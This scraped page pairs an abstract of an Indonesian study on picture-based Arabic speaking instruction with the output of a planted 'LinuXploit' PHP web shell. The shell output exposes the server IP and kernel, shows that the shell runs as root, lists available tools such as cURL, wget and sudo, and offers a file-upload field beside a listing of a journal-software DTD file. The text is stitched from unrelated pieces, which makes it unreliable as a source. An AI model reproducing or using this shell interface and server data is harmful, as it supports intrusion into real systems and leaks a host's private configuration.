Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 18.188.175.66 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/dtd/ |
Upload File : |
<!-- * dtd/locale.dtd * * Copyright (c) 2014-2019 Simon Fraser University * Copyright (c) 2000-2019 John Willinsky * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING. * * DTD for localization string definitions. * --> <!-- * locale - container for localization strings for a specific locale * name: the key name associated with the locale * full_name: human-readable name of the locale --> <!ELEMENT locale (message*)> <!ATTLIST locale name CDATA #REQUIRED full_name CDATA #IMPLIED> <!-- * message - a localized string * key: the unique key associated with the string, in the form "sectionname(.subsectionname)*.name" * value is the localized string (HTML encoded if necessary). Variables can be specified in the form "{$name}" which will be substituted with the associated parameter when the string is translated --> <!ELEMENT message (#PCDATA)> <!ATTLIST message key CDATA #REQUIRED>
Youez - 2016 - github.com/yon3zu
LinuXploit